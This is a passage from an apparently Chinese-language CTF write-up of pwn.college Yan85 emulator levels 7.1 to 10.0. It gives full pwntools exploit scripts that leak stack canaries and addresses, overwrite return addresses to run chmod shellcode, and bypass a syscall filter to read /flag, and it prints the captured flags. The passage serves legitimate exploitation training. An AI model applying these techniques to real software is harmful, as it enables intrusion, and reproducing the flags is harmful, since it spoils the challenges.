            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()

                log.success(content)
                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    global stack_base

    start_time = time.time()

    while True:
        try:
            target = launch(debug=False)
            payload = construct_payload()

            if attack(target, payload):
                break

            stack_base = stack_base + 0x8
        except Exception as e:
            log.exception(f&quot;An error occurred in main: {e}&quot;)

    end_time = time.time()
    elapsed_time = end_time - start_time
    log.success(f&quot;Total elapsed time: {elapsed_time:.2f} seconds.&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{4KYvwTY0ajVZJykveF7xtOj0Kfc.0VMzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 7.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;逆向分析我们发现这题把 opcode 都改掉了，所以我们还得先重新确认各指令的 opcode 才行。之后的话思路和上题差不多了，不过栈地址我这次不打算爆破。&lt;code&gt;write&lt;/code&gt; 可以从栈中泄漏出来一点栈地址之类的，以它为基，减去 shellcode 的偏移，得到 shellcode 的地址。&lt;/p&gt;
&lt;p&gt;嗯，再推荐一个 IDA Plugin，叫 &lt;a href=&quot;https://github.com/danigargu/syms2elf/&quot;&gt;syms2elf&lt;/a&gt;。它可以导出带符号表的 ELF 文件，对于那些 stripped，分析起来困难的二进制文件，有了这个插件不要太爽。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-7-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b write@plt
b *0x401efc
c
&quot;&quot;&quot;

shellcode_offset = 0x4EC
padding_to_ret = b&quot;&quot;.ljust(0x19, b&quot;A&quot;)


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    # stage 1: leak stack base address
    yancode = b&quot;\x04\x80\x01&quot;  # imm a, 0x01
    yancode += b&quot;\x10\x80\xff&quot;  # imm b, 0xff
    yancode += b&quot;\x02\x80\x31&quot;  # imm c, 0x31
    yancode += b&quot;\x10\x02\x04&quot;  # sys 0x10, a

    # stage 2: overwrite return address
    yancode += b&quot;\x04\x80\x00&quot;  # imm a, 0x00
    yancode += b&quot;\x10\x80\xff&quot;  # imm b, 0xff
    yancode += b&quot;\x02\x80\x21&quot;  # imm c, 0x21
    yancode += b&quot;\x02\x02\x04&quot;  # sys 0x02, a
    yancode += b&quot;\x20\x80\xff&quot;  # imm i, 0xff

    # stage 3: ret2shellcode
    shellcode = yancode
    shellcode += asm(shellcraft.chmod(&quot;f&quot;, 0o4))

    return shellcode


def leak_data(response):
    leaked_stack_base = response[-8:]
    log.debug(leaked_stack_base.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))
    log.success(f&quot;Leaked stack base address: {to_hex_bytes(leaked_stack_base)}&quot;)

    return int.from_bytes(leaked_stack_base, &quot;little&quot;)


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        send_payload(target, payload)

        response = target.recv()
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        stack_base = leak_data(response)

        ret2shellcode = padding_to_ret
        ret2shellcode += p64(stack_base - shellcode_offset)

        send_payload(target, ret2shellcode)

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{8GNqGB_LW-iRUy4il8m7fn0YMK5.0lMzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 8.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;啊，就是同时泄漏栈地址和 canary 地址呗，没啥好讲的。自己逆向分析 yancode 的操作码。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-8-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *sys_write+43
b *sys_read
b *main+750
c
&quot;&quot;&quot;

shellcode_offset = 0x4ED
padding_to_canary = b&quot;&quot;.ljust(0x9, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    # stage 1: leak stack base address
    yancode = b&quot;\x01\x04\x01&quot;  # imm a, 0x01
    yancode += b&quot;\xff\x40\x01&quot;  # imm b, 0xff
    yancode += b&quot;\x2f\x02\x01&quot;  # imm c, 0x2f
    yancode += b&quot;\x04\x10\x08&quot;  # sys 0x10, a

    # stage 2: overwrite return address
    yancode += b&quot;\x00\x04\x01&quot;  # imm a, 0x00
    yancode += b&quot;\xff\x40\x01&quot;  # imm b, 0xff
    yancode += b&quot;\x21\x02\x01&quot;  # imm c, 0x21
    yancode += b&quot;\x04\x02\x08&quot;  # sys 0x02, a
    yancode += b&quot;\xff\x20\x01&quot;  # imm i, 0xff

    # stage 3: ret2shellcode
    shellcode = yancode
    shellcode += asm(shellcraft.chmod(&quot;f&quot;, 0o4))

    return shellcode


def leak_data(response):
    leaked_canary = response[-0x26:-0x1E]
    leaked_stack_base = response[-0x6:]
    log.success(f&quot;Leaked canary: {to_hex_bytes(leaked_canary)}&quot;)
    log.success(f&quot;Leaked stack base address: {to_hex_bytes(leaked_stack_base)}&quot;)

    return [
        int.from_bytes(leaked_canary, &quot;little&quot;),
        int.from_bytes(leaked_stack_base, &quot;little&quot;),
    ]


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        send_payload(target, payload)

        response = target.recv()
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))
        target.recvuntil(b&quot;... write&quot;)
        response = target.recv(0x30)

        canary, stack_base = leak_data(response)

        ret2shellcode = padding_to_canary
        ret2shellcode += p64(canary)
        ret2shellcode += padding_to_ret
        ret2shellcode += p64(stack_base - shellcode_offset)

        send_payload(target, ret2shellcode)

        response = target.recvall(timeout=3)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{wRfuRyCMy3WESGVx2pkEv3pQiJA.01MzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 8.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Write a full exploit for a custom VM involving injecting shellcode, and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-80&quot;&gt;Level 8.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    asm,
    context,
    gdb,
    log,
    os,
    p64,
    process,
    remote,
    shellcraft,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-8-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b write@plt
b read@plt
c
&quot;&quot;&quot;

shellcode_offset = 0x4ED
padding_to_canary = b&quot;&quot;.ljust(0x9, b&quot;A&quot;)
padding_to_ret = b&quot;&quot;.ljust(0x8, b&quot;A&quot;)


def to_hex_bytes(data):
    return &quot;&quot;.join(f&quot;\\x{byte:02x}&quot; for byte in data)


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload():
    # stage 1: leak stack base address
    yancode = b&quot;\x01\x40\x20&quot;  # imm a, 0x01
    yancode += b&quot;\xff\x40\x08&quot;  # imm b, 0xff
    yancode += b&quot;\x2f\x40\x10&quot;  # imm c, 0x2f
    yancode += b&quot;\x01\x80\x01&quot;  # sys 0x01, d

    # stage 2: overwrite return address
    yancode += b&quot;\x00\x40\x20&quot;  # imm a, 0x00
    yancode += b&quot;\xff\x40\x08&quot;  # imm b, 0xff
    yancode += b&quot;\x21\x40\x10&quot;  # imm c, 0x21
    yancode += b&quot;\x20\x80\x04&quot;  # sys 0x02, a
    yancode += b&quot;\xff\x40\x40&quot;  # imm i, 0xff

    # stage 3: ret2shellcode
    shellcode = yancode
    shellcode += asm(shellcraft.chmod(&quot;f&quot;, 0o4))

    return shellcode


def leak_data(response):
    leaked_canary = response[-0x26:-0x1E]
    leaked_stack_base = response[-0x6:]
    log.success(f&quot;Leaked canary: {to_hex_bytes(leaked_canary)}&quot;)
    log.success(f&quot;Leaked stack base address: {to_hex_bytes(leaked_stack_base)}&quot;)

    return [
        int.from_bytes(leaked_canary, &quot;little&quot;),
        int.from_bytes(leaked_stack_base, &quot;little&quot;),
    ]


def attack(target, payload):
    try:
        os.system(&quot;ln -s /flag f&quot;)

        send_payload(target, payload)

        response = target.recv()
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        canary, stack_base = leak_data(response)

        ret2shellcode = padding_to_canary
        ret2shellcode += p64(canary)
        ret2shellcode += padding_to_ret
        ret2shellcode += p64(stack_base - shellcode_offset)

        send_payload(target, ret2shellcode)

        response = target.recvall(timeout=3)
        log.debug(response.decode(&quot;utf-8&quot;, errors=&quot;ignore&quot;))

        try:
            with open(&quot;./f&quot;, &quot;r&quot;) as file:
                content = file.read()
                log.success(content)

                return True
        except FileNotFoundError:
            log.exception(&quot;The file &apos;./f&apos; does not exist.&quot;)
        except PermissionError:
            log.failure(&quot;Permission denied to read &apos;./f&apos;.&quot;)
        except Exception as e:
            log.exception(f&quot;An error occurred while performing attack: {e}&quot;)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload()

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{IX1KO9KJhczkci-cjl7VXfsQ-Qw.0FNzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 9.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Provide your own Yan85 shellcode! This time, it&apos;s filtered.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+18h] [rbp-418h]
  int i; // [rsp+1Ch] [rbp-414h]
  _BYTE v5[1024]; // [rsp+20h] [rbp-410h] BYREF
  int v6; // [rsp+420h] [rbp-10h]
  __int16 v7; // [rsp+424h] [rbp-Ch]
  char v8; // [rsp+426h] [rbp-Ah]
  unsigned __int64 v9; // [rsp+428h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  printf(&quot;[+] Welcome to %s!\n&quot;, *argv);
  puts(&quot;[+] This challenge is an custom emulator. It emulates a completely custom&quot;);
  puts(&quot;[+] architecture that we call \&quot;Yan85\&quot;! You&apos;ll have to understand the&quot;);
  puts(&quot;[+] emulator to understand the architecture, and you&apos;ll have to understand&quot;);
  puts(&quot;[+] the architecture to understand the code being emulated, and you will&quot;);
  puts(&quot;[+] have to understand that code to get the flag. Good luck!&quot;);
  puts(&quot;[+]&quot;);
  puts(&quot;[+] This level is a full Yan85 emulator. You&apos;ll have to reason about yancode,&quot;);
  puts(&quot;[+] and the implications of how the emulator interprets it!&quot;);
  setvbuf(_bss_start, 0LL, 2, 1uLL);
  memset(v5, 0, sizeof(v5));
  v6 = 0;
  v7 = 0;
  v8 = 0;
  printf(&quot;[!] This time, YOU&apos;RE in control! Please input your yancode: &quot;);
  read(0, &amp;amp;v5[256], 0x300uLL);
  puts(&quot;[!] Are you ready for ultimate Yan85 shellcoding? This challenge only allows you ONE sys instruction!&quot;);
  v3 = 0;
  for ( i = 0; i &amp;lt;= 255; ++i )
  {
    if ( (v5[3 * i + 256] &amp;amp; 4) != 0 )
      ++v3;
  }
  if ( v3 &amp;gt; 1 )
    __assert_fail(&quot;num_syscalls &amp;lt;= 1&quot;, &quot;/challenge/toddlerone-level-9-0.c&quot;, 0x1BAu, &quot;main&quot;);
  puts(&quot;[+] This might seem impossible, but this challenge makes one memory error that will allow you&quot;);
  puts(&quot;[+] to execute the system calls you need. The error is what&apos;s known as an *intra-frame* overflow:&quot;);
  puts(&quot;[+] you won&apos;t be able to hijack control flow, but you&apos;ll be able to mess with the intended logic&quot;);
  puts(&quot;[+] of the emulator!&quot;);
  puts(&quot;[+]&quot;);
  puts(&quot;[+] This is a *teaching* challenge, which means that it will output&quot;);
  puts(&quot;[+] a trace of the Yan85 code as it processes it. The output is here&quot;);
  puts(&quot;[+] for you to understand what the challenge is doing, and you should use&quot;);
  puts(&quot;[+] it as a guide to help with your reversing of the code.&quot;);
  puts(&quot;[+]&quot;);
  interpreter_loop(v5);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这题把 &lt;code&gt;orw&lt;/code&gt; 系统调用都开放了，所以我们可以考虑能不能直接通过 &lt;code&gt;orw&lt;/code&gt; 拿 flag。main 逻辑是把我们的输入数据读到 &lt;code&gt;&amp;amp;v5[256]&lt;/code&gt; 处，然后绿色部分是一个 filter，负责判断 256 组三字节指令是否包含 syscall 的 opcode，包含则增加 &lt;code&gt;v3&lt;/code&gt;，&lt;code&gt;v3 &amp;gt; 1&lt;/code&gt; 则断言失败。所以简单来说就是我们输入的数据最多只能使用一个 syscall。&lt;/p&gt;
&lt;p&gt;好办，我们知道 &lt;code&gt;interpreter_loop(v5)&lt;/code&gt; 会不断读取并执行下一条指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __fastcall __noreturn interpreter_loop(__int64 a1)
{
  unsigned __int8 v1; // al

  while ( 1 )
  {
    v1 = *(_BYTE *)(a1 + 1029);
    *(_BYTE *)(a1 + 1029) = v1 + 1;
    interpret_instruction(
      a1,
      *(unsigned __int16 *)(a1 + 3LL * v1 + 256) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 258) &amp;lt;&amp;lt; 16));
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果我们先提供一个 &lt;code&gt;read&lt;/code&gt; syscall，把我们的 shellcode 读到 &lt;code&gt;&amp;amp;v5[255]&lt;/code&gt; 处，是不是绕过了 filter？而之后因为 &lt;code&gt;rip&lt;/code&gt; 一直在改变，我们是不是需要填充一些垃圾值占位那些我们执行过的指令？在此之后就是我们当前的 &lt;code&gt;rip&lt;/code&gt; 了，在这里写 shellcode，是不是就接着执行了？&lt;/p&gt;
&lt;p&gt;妙哉，开撸！&lt;/p&gt;
&lt;p&gt;~话说为什么我每次一有思路的时候就正好播放***《雾里》***了？好的，单曲循环直到打通 LMAO~&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    context,
    gdb,
    log,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-9-0&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
b *main+287
b *sys_read+43
b *sys_open+43
b *sys_write+43
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage):
    if stage == 1:
        # read the shellcode to where is out of the filter&apos;s range
        yancode = b&quot;\x80\x08\x00&quot;  # imm a, 0x00
        yancode += b&quot;\x80\x02\xff&quot;  # imm b, 0xff
        yancode += b&quot;\x80\x01\xff&quot;  # imm c, 0xff
        yancode += b&quot;\x04\x10\x08&quot;  # sys 0x10, a

        return yancode
    elif stage == 2:
        # padding to rip
        yancode = b&quot;\x00&quot; * 13

        # construct &quot;/flag&quot; string
        yancode += b&quot;\x80\x08\x00&quot;  # imm a, 0x00
        yancode += b&quot;\x80\x02\x2f&quot;  # imm b, 0x2f
        yancode += b&quot;\x40\x08\x02&quot;  # stm a, b
        yancode += b&quot;\x80\x08\x01&quot;  # imm a, 0x01
        yancode += b&quot;\x80\x02\x66&quot;  # imm b, 0x66
        yancode += b&quot;\x40\x08\x02&quot;  # stm a, b
        yancode += b&quot;\x80\x08\x02&quot;  # imm a, 0x02
        yancode += b&quot;\x80\x02\x6c&quot;  # imm b, 0x6c
        yancode += b&quot;\x40\x08\x02&quot;  # stm a, b
        yancode += b&quot;\x80\x08\x03&quot;  # imm a, 0x03
        yancode += b&quot;\x80\x02\x61&quot;  # imm b, 0x61
        yancode += b&quot;\x40\x08\x02&quot;  # stm a, b
        yancode += b&quot;\x80\x08\x04&quot;  # imm a, 0x04
        yancode += b&quot;\x80\x02\x67&quot;  # imm b, 0x67
        yancode += b&quot;\x40\x08\x02&quot;  # stm a, b

        # open /flag
        yancode += b&quot;\x80\x08\x00&quot;  # imm a, 0x00
        yancode += b&quot;\x80\x02\x00&quot;  # imm b, 0x00
        yancode += b&quot;\x04\x01\x08&quot;  # sys 0x01, a

        # read
        yancode += b&quot;\x80\x02\x08&quot;  # imm b, 0x08
        yancode += b&quot;\x80\x01\xff&quot;  # imm c, 0xff
        yancode += b&quot;\x04\x10\x08&quot;  # sys 0x10, a

        # write
        yancode += b&quot;\x80\x08\x01&quot;  # imm a, 0x01
        yancode += b&quot;\x04\x08\x08&quot;  # sys 0x08 a

        return yancode
    else:
        log.error(&quot;Invalid stage number.&quot;)


def extract_flag(target):
    try:
        target.recvuntil(b&quot;pwn.college{&quot;)
        flag = target.recv(0xFF)
        log.success(f&quot;pwn.college{{{flag.decode(&quot;utf-8&quot;)}&quot;)
        exit()
    except Exception as e:
        log.exception(f&quot;An error occurred while extracting flag: {e}&quot;)


def attack(target, payload):
    try:
        send_payload(target, payload)

        payload = construct_payload(2)
        send_payload(target, payload)

        extract_flag(target)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(1)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{UDbugZTc3krZyqHikNYIwlOG2I2.0VNzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 9.1&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Provide your own Yan85 shellcode! This time, it&apos;s filtered.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;参见 &lt;a href=&quot;#level-90&quot;&gt;Level 9.0&lt;/a&gt;。&lt;/p&gt;
&lt;h2&gt;Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3

from pwn import (
    ELF,
    context,
    gdb,
    log,
    process,
    remote,
)

context(log_level=&quot;debug&quot;, terminal=&quot;kitty&quot;)

FILE = &quot;./toddlerone-level-9-1&quot;
HOST, PORT = &quot;localhost&quot;, 1337

gdbscript = &quot;&quot;&quot;
c
&quot;&quot;&quot;


def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    if local:
        elf = ELF(FILE)
        context.binary = elf

        if debug:
            return gdb.debug(
                [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
            )
        else:
            return process([elf.path] + (argv or []), env=envp)
    else:
        return remote(HOST, PORT)


def send_payload(target, payload):
    try:
        target.send(payload)
    except Exception as e:
        log.exception(f&quot;An error occurred while sending payload: {e}&quot;)


def construct_payload(stage):
    if stage == 1:
        # read the shellcode to where is out of the filter&apos;s range
        yancode = b&quot;\x00\x02\x80&quot;  # imm a, 0x00
        yancode += b&quot;\xff\x20\x80&quot;  # imm b, 0xff
        yancode += b&quot;\xff\x04\x80&quot;  # imm c, 0xff
        yancode += b&quot;\x02\x02\x10&quot;  # sys 0x02, a

        return yancode
    elif stage == 2:
        # padding to rip
        yancode = b&quot;\x00&quot; * 13

        # construct &quot;/flag&quot; string
        yancode += b&quot;\x00\x02\x80&quot;  # imm a, 0x00
        yancode += b&quot;\x2f\x20\x80&quot;  # imm b, 0x2f
        yancode += b&quot;\x20\x02\x04&quot;  # stm a, b
        yancode += b&quot;\x01\x02\x80&quot;  # imm a, 0x01
        yancode += b&quot;\x66\x20\x80&quot;  # imm b, 0x66
        yancode += b&quot;\x20\x02\x04&quot;  # stm a, b
        yancode += b&quot;\x02\x02\x80&quot;  # imm a, 0x02
        yancode += b&quot;\x6c\x20\x80&quot;  # imm b, 0x6c
        yancode += b&quot;\x20\x02\x04&quot;  # stm a, b
        yancode += b&quot;\x03\x02\x80&quot;  # imm a, 0x03
        yancode += b&quot;\x61\x20\x80&quot;  # imm b, 0x61
        yancode += b&quot;\x20\x02\x04&quot;  # stm a, b
        yancode += b&quot;\x04\x02\x80&quot;  # imm a, 0x04
        yancode += b&quot;\x67\x20\x80&quot;  # imm b, 0x67
        yancode += b&quot;\x20\x02\x04&quot;  # stm a, b

        # open /flag
        yancode += b&quot;\x00\x02\x80&quot;  # imm a, 0x00
        yancode += b&quot;\x00\x20\x80&quot;  # imm b, 0x00
        yancode += b&quot;\x02\x20\x10&quot;  # sys 0x20, a

        # read
        yancode += b&quot;\x08\x20\x80&quot;  # imm b, 0x08
        yancode += b&quot;\xff\x04\x80&quot;  # imm c, 0xff
        yancode += b&quot;\x02\x02\x10&quot;  # sys 0x02, a

        # write
        yancode += b&quot;\x01\x02\x80&quot;  # imm a, 0x01
        yancode += b&quot;\x02\x01\x10&quot;  # sys 0x01 a

        return yancode
    else:
        log.error(&quot;Invalid stage number.&quot;)


def extract_flag(target):
    try:
        target.recvuntil(b&quot;pwn.college{&quot;)
        flag = target.recv(0xFF)
        log.success(f&quot;pwn.college{{{flag.decode(&quot;utf-8&quot;)}&quot;)
        exit()
    except Exception as e:
        log.exception(f&quot;An error occurred while extracting flag: {e}&quot;)


def attack(target, payload):
    try:
        send_payload(target, payload)

        payload = construct_payload(2)
        send_payload(target, payload)

        extract_flag(target)
    except Exception as e:
        log.exception(f&quot;An error occurred while performing attack: {e}&quot;)


def main():
    try:
        target = launch(debug=False)
        payload = construct_payload(1)

        attack(target, payload)
    except Exception as e:
        log.exception(f&quot;An error occurred in main: {e}&quot;)


if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Flag&lt;/h2&gt;
&lt;p&gt;Flag: &lt;code&gt;pwn.college{kV-lC4_vz8LW0vUOLmZ5sKafrjA.0lNzMDL5cTNxgzW}&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;Level 10.0&lt;/h1&gt;
&lt;h2&gt;Information&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Category: Pwn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The ultimate Yan85 challenge. Provide your own Yan85 shellcode.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Write-up&lt;/h2&gt;
&lt;p&gt;这题解法很巧妙，我们不能像 Level 9 一样绕过 filter。但是注意观察 &lt;code&gt;interpret_sys&lt;/code&gt; 的实现，我们发现，里面每一个 &lt;code&gt;if&lt;/code&gt; 语句无论成立与否都会继续判断下一条 &lt;code&gt;if&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall interpret_sys(unsigned __int8 *a1, int a2)
{
  const char *v2; // rax
  unsigned __int8 v3; // al
  unsigned __int64 v4; // rax
  unsigned __int8 v5; // al
  unsigned __int64 v6; // rax
  unsigned __int8 v7; // al
  unsigned __int8 v8; // al
  int result; // eax
  int v10; // ebx
  const char *v11; // rax

  v2 = (const char *)describe_register(BYTE2(a2));
  printf(&quot;[s] SYS %#hhx %s\n&quot;, BYTE1(a2), v2);
  if ( (a2 &amp;amp; 0x100) != 0 )
  {
    puts(&quot;[s] ... open&quot;);
